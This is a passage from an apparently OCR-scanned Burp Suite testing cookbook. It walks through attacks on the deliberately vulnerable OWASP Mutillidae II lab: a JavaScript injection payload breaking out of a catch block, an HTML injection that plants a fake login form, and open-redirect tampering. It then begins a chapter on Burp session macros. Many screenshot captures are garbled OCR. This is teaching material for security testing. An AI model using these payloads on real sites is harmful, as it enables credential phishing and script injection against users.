injection of JavaScript. Vulnerabilities in this area can affect sensitive information held in
the browser, such as user session cookies, or it can lead to the modification of page content,
allowing script execution from attacker-controlled sites.

Getting ready

Using the OWASP Mutillidae II Password Generator exercise, let’s determine whether the
application is susceptible to JavaScript XSS attacks.

How to do it...

1. Navigate to OWASP 2013 | A1 - Injection (Other) | JavaScript Injection |
Password Generator:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e)

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

Not Logged In

OWASP 2013 A1l - Injection (SQL) 4

A1 - Injection (Other) »  HTML Injection (HTMLI)

OWASP 2010
A2 - Broken Authentication and ¥ | HTMLI via HTTP Headers

OWASP 2007 Session Management
HTMLi Via DOM Injection

i A3 - Cross Site Scripting (XSS
P AR pting (XSS) HTMLi Via Cookie Injection

A4 - Insecure Direct Object
HTML 5 References ! Frame Source Injection 4

» B

Others AS - Security Misconfiguration Command Injection

T T A6 - Sensitive Data Exposure JavaScript Injection » Those "Back” Buttons

A7 - Missing Function Level Access HTTP Parameter Pollution ¥ Password Generator
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2. Note after clicking the Generate Password button, a password is shown. Also,
note the username value provided in the URL is reflected back as is on the web
page:
http://192.168.56.101/mutillidae/index.php?page=password—-genera
tor.php&username=anonymous. This means a potential XSS vulnerability may
exist on the page:

[ Password Generator }

<@ Back Q Help Me!

Hints

[ Password Generator ]

Making strong passwords is important.
Click the button below to generate a password.

This password is fo

Password: P6/H%q8x0OvQ6éqgh*

[ Generate Password ]
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3. Switch to the Burp Proxy HTTP history tab and find the HTTP message
associated with the Password Generator page. Flip to the Response tab in the
message editor, and perform a search on the string catch. Note that the
JavaScript returned has a catch block where error messages display to the user.
We will use this position for the placement of a carefully crafted JavaScript
injection attack:

Target | proxy | Spiter | Scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts

{ Intercept THﬂ'Pnismry Iwensockets history T Options. ]

Re-enable

| Filter: Hiding CSS, image and general binary content

[# &) Host Method | URL Params |Edted | Status |Length | MIME type

153 hitp://192.168.56.101 GET imutilidaefindex php?page=password-generator. php&username=anonymous v 200 47457 HTML

(<< J
Request | Response

Raw | Headers IET HTML | Render

[XH

</scripe>
<script>
function i I */ theFoxm){
eyl
var 1PasswordText = "";
var 1 . t = " JKL QRSTUVWXY ghijk yz0123456789 1 CHSB &~ ()_—+=LI I\ ', . f:2";
for( war i=0; i < 15; i++r M
1PasswordText += lPasswordCharset charAt(Math floor (Math random() * 1PasswordCharset. length));
4/ end for i
document . getElementById("idPasswordInput” ). innerHTML = "Password: <span style=\"color:red;border-width:ipx;border-color :black;\">" +
"< [fspan>";

. getEl Ta("i leRow" ) .style.display = "";
return false:

lcatch(e) |
alert("Error: " + e.message);
/[ end catch
}// end function onSubmitOfGeneratorForm{/*HTMLEormElement®/ theForm)
</seript>

<div class="pags-titls">Password Generator</div>

<script type="text/javascript">

$(function() {
§(' [HTMLEventRe 1 ionPoint]').attr("title", "");
§(' [HIMLEventReflectedXSSExecutionPoint]') balloon();

by

</scripe>

<div style="margin: Spx;">
<span style="font-weight: bold; margin-right: SOpx;" HTMLEventReflectedXSSExecutionPoint="1">

4. Switch to the Burp Proxy Intercept tab. Turn Interceptor on with the button
Intercept is on.

5. Reload the Password Generator page in Firefox browser by pressing F5 or
clicking the reload button.

6. Switch to the Burp Proxy Interceptor tab. While the request is paused, note the
username parameter value highlighted as follows:
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[ 7arget | fraxy | soider | scanner | ntruder | Repeater | sequencer | Decoder | comparer | Extender | Project options | user options | alerts |
jmT HTTP history | WebSockets history | Optons |

(#] Requestto ntip:te2.168.56.101:30

[ fowara | [ omp | [terceptison | [ Acton |

| [ Raw | Params | Headers | Hex |

GET /mutillidae/index.php?page=password-generator. phplusername=mqnymous| HTTP/L1.1

Host: 1592.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:El.0) Gecko/Z0l00101 Firefox/61.0
Accept: text/htmul,application/zhtml+xnl, application/xml;q=0.9,*/*;¢q=0.8

Accept-Lanquage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index.php?page=htmnlS-storage.php

Cookie: showhints=1; PHPSESSID=9jsunl7vsnOmfe70ffvivelkvl; acopendivids=swingset,jotto,phpbbl, rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

7. Replace the preceding highlighted value of anonymous with the following
carefully crafted JavaScript injection script:

canary"; tcatch(e) {}talert (1);try{a="

8. Click the Forward button. Now, turn Interceptor off by clicking the toggle button
to Intercept is off.

9. Note the alert popup. You've successfully demonstrated the presence of a
JavaScript injection XSS vulnerability!
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How it works...

The JavaScript snippet injected into the web page matched the structure of the original
catch statement. By creating a fake name of canary and ending the statement with a
semicolon, a specially crafted new catch block was created, which contained

the malicious JavaScript payload.

Testing for HTML injection

HTML injection is the insertion of arbitrary HTML code into a vulnerable web page.
Vulnerabilities in this area may lead to the disclosure of sensitive information or the
modification of page content for the purposes of socially engineering the user.

Getting ready

Using the OWASP Mutillidae II Capture Data Page, let's determine whether the application
is susceptible to HTML injection attacks.

How to do it...

1. Navigate to OWASP 2013 | A1 - Injection (Other) | HTMLi Via Cookie
Injection | Capture Data Page:

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In
Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1l - Injection (SQL)
A1 - Injection (Other) » | HTML Injection (HTMLI)

OWASP 2010
A2 - Broken Authentication and ¥ HTMLI via HTTP Headers
OWASP 2007 Sesslon Management

HTMLI Via DOM Injection

A3 - Cross Site Scripting (XSS
Web Services pting ( ) HTMLI Via Cookie Injection Capture Data Page

2. Note how the page looks before the attack:
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( Capture Data ]

<:§ Back g Help Me!

View Captured Data

( Data Capture Page ]

This page is designed to capture any parameters sent and store them in a file and a
database table. It loops through the POST and GET parameters and records them to a file
named captured-data.txt. On this system, the file should be found at tmp/captured-
data.txt. The page also tries to store the captured data in a database table named
captured_data and logs the captured data. There is another page named captured-
data.php that attempts to list the contents of this table.

The data captured on this request is: page = capture-data.php showhints =1
PHPSESSID = 9jsmn17vsn0Omfe70ffv3vclkv1 acopendivids =
swingset,jotto,phpbb2,redmine acgroupswithpersist = nada

Would it be possible to hack the hacker? Assume the hacker will view the captured
requests with a web browser.

3. Switch to the Burp Proxy Intercept tab, and turn Interceptor on with the button
Intercept is on.

4. While the request is paused, make note of the last cookie,
acgroupswitchpersist=nada:

l’Target I Proxy T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer T Extender I Project options I User options T Alerts ]

J sercent | HTTR nistory TWebSuckeis nistory | Options |

‘ # | Requestto http://192.168.56.101:80

|| Forward | | Drop | | terceptison | Action
‘ Raw | Params IHeaders Hex

GET /mutillidas/index.php?page=capture-data.php HTTP/1.1

Host: 1592.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; xE4; rv:£1.0) Gecko/Z0100101 Firefox/€1.0
Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate

Referer:

http://LS2.168.56.101/mutillidae/index.php?page=hack-button-discussion. php

Cookie: showhints=1; PHPSESSID=Sjsmnl7vsnOmfe70ffvivellvl; acopendivids=swingset,jotto,phpbh?, redmine; acgroupswithpersist{aada]
Connection: close

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

[261]




Attacking the Client

5. While the request is paused, replace the value of the last cookie, with this HTML

injection script:
<hl>Sorry, please login again</hl><br/>Username<input

type="text"><br/>Password<input type="text"><br/><input

type="submit" value="Submit"><h1>&nbsp;</hl>

6. Click the Forward button. Now turn Interceptor off by clicking the toggle button

to Intercept is off.
7. Note how the HTML is now included inside the page!

[

Capture Data

Ca Back Q Help Me!

Hints
@ View Captured Data

[ Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a
database table. It loops through the POST and GET parameters and records them to a file
named captured-data.txt. On this system, the file should be found at /tmp/captured-
data.txt. The page also tries to store the captured data in a database table named
captured_data and logs the captured data. There is another page named captured-
data.php that attempts to list the contents of this table.

The data captured on this request is: page = capture-data.php showhints = 1
PHPSESSID = 9jsmn17vsnOmfe70ffv3vclkv1 acopendivids =
swingset,jotto,phpbb2,redmine acgroupswithpersist =

Sorry, please login again

Username
Password
Submit |
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How it works...

Due to the lack of input validation and output encoding, an HTML injection vulnerability
can exist. The result of exploiting this vulnerability is the insertion of arbitrary HTML code,
which can lead to XSS attacks or social engineering schemes such as the one seen in the
preceding recipe.

Testing for client-side resource
manipulation

If an application performs actions based on client-side URL information or pathing to a
resource (that is, AJAX call, external JavaScript, iframe source), the result can lead to a
client-side resource manipulation vulnerability. This vulnerability relates to attacker-
controlled URLs in, for example, the JavaScript location attribute, the location header found
in an HTTP response, or a POST body parameter, which controls redirection. The impact of
this vulnerability could lead to a cross-site scripting attack.

Getting ready

Using the OWASP Mutillidae II application, determine whether it is possible to manipulate
any URL parameters that are exposed on the client side and whether the manipulation of
those values causes the application to behave differently.
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How to do it...

1. Navigate to OWASP 2013 | A10 - Unvalidated Redirects and Forwards |
Credits:

®% OWASP Mutillidae Il: Web Pwn in M

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

OWASP 2013 A1l - Injection (SQL)
Al - Injection (Other)

Credits

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management ' Help Me!

Web Services A3 - Cross Site Scripting (XSS)

A4 - Insecure Direct Object Hints

References . X -
ypwnized" Druin. Based on Mutillida)
AS - Security Misconfiguration

Documentation A6 - Sensitive Data Exposure

A7 - Missing Function Level Access
Resources Control
AB - Cross Site Request Forgery
(CSRF)
. A9 - Using Components with Known
Getting Started: RUGEELITES
Project Whitepape

A10 - Unvalidated Redirects and P Credits

Forwards
Setup/reset the DB (Disabled: Not

& 4 Admin)

2. Click the ISSA Kentuckiana link available on the Credits page:
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Credits

Q Help Me!

Hints

Developed by Jeremy "webpwnized"” Druin. Based on Mutillidae 1.0 from Adrian "lrongeek”
Crenshaw.

OWASP

ISSA Kentuckiana
OWASP Louisville
Helpful Firefox Add-Ons

3. Switch to the Burp Proxy HTTP history tab, and find your request to the Credits
page. Note that there are two query string parameters: page and forwardurl.
What would happen if we manipulated the URL where the user is sent?

Target | Proxy | Spider | Scanner | Intruder I Repeater T Sequencer IDer.mer T Comparer T Extender I Project options. I User options | Alerts

[ ntercept | ATt history. | webSockets hstory | options

Re-enable

‘ Fiter: Hiding CSS, image and general binary content

# 4| Host | Metnod | URL | Params | Edfed | Status | Length | MMEtype | Extension
463 hitpi192.168.56.101 GET i page=redi tp: iana.org o 200 38885  HTML php
< J

Request | Response

m Params | Headers | Hex
GET /mutillidae/index.php?page=redirectandlog. phpéforwardurl=http: //www. issa-kentuckiana. org HITP/1. L |
Wost: 102,128 5c. 101

User-Agent: Mozilla/s.0 (Windows NT 10.0; Winéd; z€4; rv:€l.0) Gecko/20100101 Firefox/E1.0

Accept: text/html,application/shtmlixul,application/xml;q=0.9,%/%;q=0.8

Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate

Referer: heup://192.160.56.101/murillidas/index. php?page=credics. php

Cockie: showhints=l; PHPSESSID=Sjsmnl7vsnOnfe70ffv3vellivl; acopendivids=swingset,jotto,phpbbl, redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Bequests: 1

4. Switch to the Burp Proxy Intercept tab. Turn Interceptor on with the button
Intercept is on.
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5. While the request is paused, note the current value of the fowardurl parameter:

[ Target T Proxy T Spider T Scanner I Intruder I Repeater I Sequencer T Decoder I Comparer T Extender T Project options I User options IAIerls W
i’

[#) Requestto http/192.168.56.101:30

<ot | HTTP history | webSockets history | options |

{ Forward J[ Drop H Intercept is on | Action

Raw Params Headers Hex

GET /mut.illidae/inﬂex.php‘.'pagefxeclirecta.n;llc-cj.})hpi forwardurl=http://www.issa-kentuckiana.org IHTTP/J.. 1
Host: 1582.1&8.5&.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&é4; x€4; rv:E6l.0) Gecko/Z0l00101l Firefox/61.0

Accept: text/html, application/xhtml+xml, application/xmnl;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192_166.56_101/mutillidae/index._php?page=credits.php

Cookie: showhints=1; PHPSESSID=5jsunl7vsnOnfe70ffv3vellkvl; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

6. Replace the value of the forwardurl parameter to be https://www.owasp.org
instead of the original choice of http://www.issa-kentuckiana.org:

[Targm T Proxy. T Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender T Project options T User options. I Alerts ]

_[ Intercept T HTTP history I WebSockets history T Options ]

#| Request to hitp://192.168.56.101:80

| Forward J l Drop J | Intercept is on | Action

Raw | Params | Head H

GET /mutillidae/index.php?page=redirectandlog. phpdfarvar:dur]ﬁhtcgs: [/ owasp. orgl HITP/L1.1

Host: 152.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:E1.0) Gecko/Z0l001l0l Firefox/El.0

Accept: text/html,application/xhtml+txml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.5€.101/mutillidae/index.php?page=credits.php

Cookie: showhints=1; PHPSESSID=9jsmnl7vsnOmnfe70ffviveclkvl; acopendivids=swingset, jotto,phpbbl, redmnine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1
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7. Click the Forward button. Now turn Interceptor off by clicking the toggle button
to Intercept is off.

8. Note how we were redirected to a site other than the one originally clicked!

e

G @ ® ﬂlhttps://www.owasp.org/I\'ndex‘php/Maianage B - 9%

The OWASP Foundation

the free and open software security community

Home

About OWASP

AciiowEngements About - Searching * Editing - New Article - OWASP Categories . CONTACT-USe?
Advertising

AppSec Events

Books REGISTER NOW!

Brand Resources
Chapters

Donate to OWASP D l I l H S p
Downloads

How it works...

Application code decisions, such as where to redirect a user, should never rely on client-
side available values. Such values can be tampered with and modified, to redirect users to
attacker-controlled websites or to execute attacker-controlled scripts.
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10

Working with Burp Macros and
Extensions

In this chapter, we will cover the following recipes:

¢ Creating session-handling macros

Getting caught in the cookie jar

Adding great pentester plugins

Creating new issues via Manual-Scan Issue Extension
Working with Active Scan++ Extension

Introduction

This chapter covers two separate topics that can also be blended together: macros and
extensions. Burp macros enable penetration testers to automate events, such as logins or
parameter reads, to overcome potential error situations. Extensions, also known as plugins,
extend the core functionality found in Burp.

Software tool requirements

In order to complete the recipes in this chapter, you will need the following;:

e OWASP Broken Web Applications (VM)

o OWASP Mutillidae
(http://<Your_VM_Assigned_IP_Address>/mutillidae)

e GetBoo (http://<Your_VM_Assigned_IP_Address>/getboo)
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
https://portswigger.net/burp/
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Creating session-handling macros

In Burp, the Project options tab allows testers to set up session-handling rules. A session-
handling rule allows a tester to specify a set of actions Burp will take in relation to session
tokens or CSRF tokens while making HTTP Requests. There is a default session-handling
rule in scope for Spider and Scanner. However, in this recipe, we will create a new session-
handling rule and use a macro to help us create an authenticated session from an
unauthenticated one while using Repeater.

Getting ready

Using the OWASP Mutilliae II application, we will create a new Burp Session-Handling
rule, with an associated macro, to create an authenticated session from an unauthenticated
one while using Repeater.

How to do it...

1. Navigate to the Login page in Mutillidae. Log into the application as username
ed with password pentest.

2. Immediately log out of the application by clicking the Logout button and make
sure the application confirms you are logged out.

3. Switch to the Burp Proxy HTTP history tab. Look for the logout request you just
made along with the subsequent, unauthenticated GET request. Select the
unauthenticated request, which is the second GET. Right-click and send that
request to Repeater, as follows:

[269]



Working with Burp Macros and Extensions Chapter 10

Target | Proxy | Spider T Scanner I Intruder T Repeater I Sequencer T Decoder I Comparer I Extender I Project options T User options | Alerts

[ intercept | HTT history | WebSockets history | options |

Re-enable

| Filter: Hiding CSS, image and general binary content

|# 4| Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension
17 http://192.168.56.101 GET Imutilidae/index php?do=logout v 302 733 HTML php

ILB http://192.168.56.101 GET il php?page=login.phps i 0de=LOU1 v 200 47589  HTML php

p—

Reguest | Response

Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=login.phpipopUpNotificationCode=L0UL HTTP/L.1

Host: 19I.1£8.58.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:€l.0) Gecko/I0100101 Firefox/E1.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Send to Spider
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate )
Referer: http://192.168.56.101/mutillidae/index. php?popUplNotificationCode=AUL Do a passive scan

Cookie: showhints=0; PHPSESSID=vwvErh7ueelvqrmérfbgésiph3; acopendivids=swingset, jotto,phpbb2,] Send to Intruder Criel  fla
Connection: close
Upgrade-Insecure-Requests: 1

Do an active scan

Send to Repeater

Send to Sequencer

4. Switch to Burp Repeater, then click the Go button. On the Render tab of the
response, ensure you receive the Not Logged In message. We will use this
scenario to build a session-handling rule to address the unauthenticated session
and make it an authenticated one, as follows:

| [ Torget | prowy | spuser | scanner | niruder | Repeater | sequencer | Decoder | comparer | Extencer | Project sptions | user options | lers |

M

Target: httpy/192.468.56.101 | #)

[ [ s |

GET /mucillidae/index php?page=login phpapopUplotiticationCode=LOUL HITP/L 1 .

Headers [W[ HTML | Render

Host: 152.160.56.101

User-Agent: Mosilla/5.0 (Windows NT 10.0; Winéd; x64; rv:€1.0) Gecko/20100101 Firefox/EL.0 DWASP M t' I'd III w b P H M

Accept: text/htnl,application/xhenlxml,application/mnl;qs0.s,*/%;q=0.0 utiliidae o e wh In Mass
Accept-Language: en-US,en;qe0.5 f

Aecept-Encoding: geip, detise Production

Referer: heep://LS2. 168, 56.101/murillidae/index. phy ificationCodesAUL

Coolrie: showhincs=0; PHPSSSID=vwvérhiueslvqracr thyésiphl; . .

acopendivids=svingset,Jotte, phpbb?, redaine; acgroupsvithpersist=nada 624 Security Level: 0 (Hosed) _ Hints: Disabled (0 - I try harder)
Connection: close

Upgrade-Insecure-Requests: 1
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5. Switch to the Burp Project options tab, then the Sessions tab, and click the Add
button under the Session Handling Rules section, as follows:

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer I Extender I Project options I User options TAlens ]

[ connections | HTTP | ssi [ sessions | misc |

Session Handling Rules

You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tools,
in to the application, or checking session validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the request

@& (3

A Enabled | Description | Tools
(€4 Use cookies from Burp's cookie jar Spider and Scanner

|

Edit
Remove
Duplicate

1]

il

U

Down

—

To menitor or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

Open sessions tracer
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6. After clicking the Add button, a pop-up box appears. Give your new rule a name,
such as LogInSessionRule, and, under Rule Actions, select Run a macro, as
follows:

! session handling rule editor x

‘DMISmps

@ Rule Description

LoginSessionRule

EJ Rule Actions

The actiens below will be performed in sequence when this rule s applied to a request

| Add J|Enabled | Description

Uze cookies from the session handing cookie jar
Sat a specific cookie or parameter value
Check session is valid

Prnmit for n-browser session recuvzi

Run a post-request macro
Invoke a Burp exiension

oK Cancel
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7. Another pop-up box appears, which is the Session handling action editor. In the
first section, under Select macro, click the Add button, as follows:

@ This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based on the result of the
MACTo.

Select macro:

=]

Edit

Note that the request currently being processed by this session handling rule will stil be issued, se the macro should not include this request unless it is
necessary to issue it twice.

) Update current request with parameters matched from final macre response

@ Update all parameters except for:

Edit

(U Update only the following parameters:

Edit
[[J Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

I Update current request with cookies from session handling cookie jar

@ Update all cookies except for:

Edit

(O Update only the following cookies:

Edit

(] After running the macro, invoke a Burp extension action handler:

L

0K Cancel
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8. After clicking the Add button, the macro editor appears along with another pop-
up of the Macro Recorder, as follows:

2 || Macro Recorder

Select the tems from the proxy history that you wish to include in the macro, and click "0OK". Note that to record a macro now using your browser you Intercept is off
will nead to enzure that proxy interception iz turned off. l—J

Fiter: Hiding CSS, image and general binary content | Llj
# 4 Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extension
1 hitp://1192.168.56.101 GET Imutilidae/index.php?do=logout v 302 733 HTML php
2 http:/i192.168.56.101 GET Imutilidae/index.php?page=login.php&p... v 200 47756 HTML php
3 hitp:/i192.168.56.101 POST fimu php?page=login.php v 302 47478 HTML php
4 http:/i192.168.56.101 GET Imutilidae/index.php?popl pNotification... v 200 46417 HTML php
B J Vo

Note: A bug exists in 1.7.35 that disables Macro Recorder. Therefore, after
clicking the Add button, if the recorder does not appear, upgrade the Burp
version to 1.7.36 or higher.
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9. Inside the Macro Recorder, look for the POST request where you logged in as Ed
as well as the following GET request. Highlight both of those requests within the
Macro Recorder window and click OK, as follows:

w Macro Recorder

Select the items from the proxy history that you wish to include in the macro, and click "OK”. Note that to record a macro now using your browser you P ——
will need to ensure that proxy interception is turned off.

Fitter: Hiding CSS, image and general binary content | LZJ
# 4 Host | Methed | URL | Params | Edited | Status | Length | MIMEtype | Extensinn|
1 http:/192.168.56.101 GET Imutilidaefindex.php?do=logout v 302 733 HTML php

2 hitp://192.168.56.101 GET imutilidaefindex php?page=login.php&p. . J 200 47756 HTML php

3 hitp://192.168.56.101 POST imutilidaefindex. php?page=login.php v 302 47478  HTML php

4 http://192.168.56.101 GET /mutilidae/index.php?popUpNotification... v 200 46417 HTML php

< J T

Request | Response
Raw | Params | Headers I Hex

GET /mutillidae/index.php?popUpNotificationCode=AUL HITP/1.1 A
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:E61.0) Gecko/Z01l00101 Firefox/E1.0
Accept: text/html,application/xhtml+txml,application/xnl;q=0.9,%/%;¢=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.10l/mutillidae/index. php?page=login.php&popUplotificationCode=LOUL
Cookie: showhints=0; username=ed; uid=24; PHPSESSID=vvvérhTueelvqrmér fbgé5siph3;
acopendivids=swingset,jotto,phpbbl, rednine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1
v
? < + > TV earch term 0 matches

. Cancel

[275]



Working with Burp Macros and Extensions Chapter 10

10. Those two highlighted requests in the previous dialog box now appear inside the
Macro Editor window. Give the macro a description, such as LogInMacro, as
follows:

Use the configuration below to define the items that are included in the macro, and the order they wil be issued. You can configure how parameters and cookies are handled for each item. You can also test the macro to confirm itis
working correctly

Macro description I LoglnMacro |

Wacro tems:
# | Method | uRL | status Cookies received Derived parameters. | Configure tem |
ﬁ username, uid
ode=A.. 200 L Move up )

Move down
[4 = i ¥ Remove item
I
Raw | Params | Headers | Hex

POST /mucillidae/index.php?page=login. php HITE/L L

Howt: 192.166.5¢.101

User-Agent: Mozilla/s.0 (Windows NT 10.0; Winéd; xé4; rv:6l.0) Gecko/2010010L Firefox/€l.0
Accept: text/html,applicacion/shtmléxml,applicacion/wml;q=0.8,%/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gmip, deflate

Referer: http://192. 166.56. L0l/mutillidae/index. php?page=login. phpipopUpNotificationCode=LOUL
Con\:n\b*i’we]‘:’ appl,\.cac.\.onzxfw\rEourl.u.Jencodedl e grn ety Re-record macro |

Content-Length: 58

Cookie: showhints=0; PHPSESSIDsvvvErhTueelvqrmér fhgebiph; acopendividssswingset,jotto,phpbhl, redmine; acgroupswithpersistsnada Re-analyze macro
Connection: close

? < - ».| [Type o search term 0 matches Test macro
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11. Click the Configure item button to validate that the username and password
values are correct. Click OK when done, as follows:

‘EI Macro Item: POST request to http://192.168.56.101/mutillidae/index.php?page=login.php X

(2) Configure Macro ltem
Configure how cookies and request parameters are handled for this macro tem.
Cookie handling
[ Add cookies received in responses to the session handling cookie jar

[ Use cookies from the session handling cookie jar in requests

Parameter handling
page | Use preset value \9| iogin.php
username l Use preset value | Vj ed
password { Use preset value ij pentest
login-php-submit-button { Use preset value :J Legin
Custom parameter locations in response
Name | Value derived from | Add |
Edit
Remove
Lok J
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12. Click OK to close the Macro Editor. You should see the newly-created macro in

the Session handling action editor. Click OK to close this dialog window, as
follows:

@ This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based on the result of
= the macro

Select macro:
Add LoginMacro

Edit

e

Note that the request currently being processed by this session handling rule will stil be issued, so the macro should not include this request unless it is
necessary to issue it twice.

[ update current request with parameters matched from final macro response
@ Update all parameters except for:

Edit

O Update only the following parameters:

Edit

[J Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

[ update current request with cookies from session handling cockie jar

@ Update all cookies except for:

Edit
(U Update only the following cookies:

Edit

oK Cancel
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13. After closing the Session handling action editor, you are returned to the Session
handling rule editor where you now see the Rule Actions section populated
with the name of your macro. Click the Scope tab of this window to define which
tool will use this rule:

‘: Session handl ng rule editor e
=~

@ Rule Description

LoginSessionRule

@ Rule Actions

The actions below will be performed in sequence when this rule is applied to a request.

—

Add J Enabled | Description

&4 run macro: LoginMacro

Edit

A

= m
E g
<

]

Down

,__
L

| OK || cancel |
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14. On the Scope tab of the Session handling rule editor, uncheck the other boxes,

leaving only the Repeater checked. Under URL Scope, click the Include all URLs
radio button. Click OK to close this editor, as follows:

‘f Session handling rule editc
o

@ Tools Scope

Select the tools that this rule will be applied to.

(] Target [J Scanner () Repeater

(] spider [ intruder [ Sequencer
|J Extender |J Proxy (use with caution)
@ URL Scope

Use the configuration below to control which URLs this rule applies to.

@ Include all URLs
(U Use suite scope [defined in Target tab]
(U Use custom scope

EJ Parameter Scope
You can restrict the rule to requests containing specific parameters if required.

[J Restrict to requests containing these parameters:

{ oK J { Cancel J
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15. You should now see the new session-handling rule listed in the Session
Handling Rules window, as follows:

[ Target I Proxy I Spider T Scanner I Intruder T Repeater I Sequencer T Decoder I Comparer T Extender T Project options T User options. I Alerts }

[ Connections T HTTP | SSL | Sessions T Misc 1

Session Handling Rules

-3 |

You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tool
in to the application, or checking session validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the request

L2d

L Add J Enabled | Description | Tools
€4} Use cookies from Burp's cookie jar Spider and Scanner
l Edit J [€] LoginSessionRule Repeater

Remove
Duplicate

Up

!

[ Down J

To moniter or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

Open sessions tracer

16. Return to the Repeater tab where you, previously, were not logged in to the
application. Click the Go button to reveal that you are now logged in as Ed! This
means your session-handling rule and associated macro worked:

[ arget | promy | spiter | Scanner | intruder [:] Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

1 = |ig ]
Go v v Target: hitp://192.168.56.101 _IJ
equ Response
Raw | Porams | Headers | Hex | [ Raw [ Hesders | Hex | Hru [ Render
GET A
/mutillidae/index. php?page=home phpspopUploti ticat ionCode=HPHO r I .
®% OWASP Mutillidae II: Web Pwn in Mass
User-Agent: Mozillas5.0 (Windows NT 10.0; Wingd, x&4; rv:ELl.0)
Gecko/20100101 Firefox/E1.0 Production
Accept
oL R ”'":;:;_‘;"'"“"tm"/""qtﬂ 8o=/%:qm0.8 Version: 2,6.24  Security Level: 5 (Server-side Security)  Hints: Disabled (0 - I try harder) | Logged In User: ed ]
. detlace (Commandiine KungFu anyone?)

h7ueelvgraér thgeSiph3;
acopendivids=swingset,jotto,phpbb?, redmine;

. T Mutillidae: Deliberately
Vulnerable Web Pen-Testing
Application

Comnection: close
Upgrade-Insecure-Bequests: 1

OWASP 2013

OWASP 2010

OWASP 2007
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How it works...

In this recipe, we saw how an unauthenticated session can be changed to an authenticated
one by replaying the login process. The creation of macros allows manual steps to be
scripted and assigned to various tools within the Burp suite.

Burp allows testers to configure session-handling rules to address various conditions that
the suite of tools may encounter. The rules provide additional actions to be taken when
those conditions are met. In this recipe, we addressed an unauthenticated session by
creating a new session-handling rule, which called a macro. We confined the scope for this
rule to Repeater only for demonstration purposes.

Getting caught in the cookie jar

While targeting an application, Burp captures all of the cookies it encounters while
proxying and spidering HTTP traffic against a target site. Burp stores these cookies in a
cache called the cookie jar. This cookie jar is used within the default session-handling rule
and can be shared among the suite of Burp tools, such as Proxy, Intruder, and Spider.
Inside the cookie jar, there is a historical table of requests. The table details each cookie
domain and path. It is possible to edit or remove cookies from the cookie jar.

Getting ready

We will open the Burp Cookie Jar and look inside. Then, using the OWASP GetBoo
application, we'll identify new cookies added to the Burp Cookie Jar.
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How to do it...

1. Shut down and restart Burp so it is clean of any history. Switch to the Burp
Project options tab, then the Sessions tab. In the Cookie Jar section, click
the Open cookie jar button, as follows:

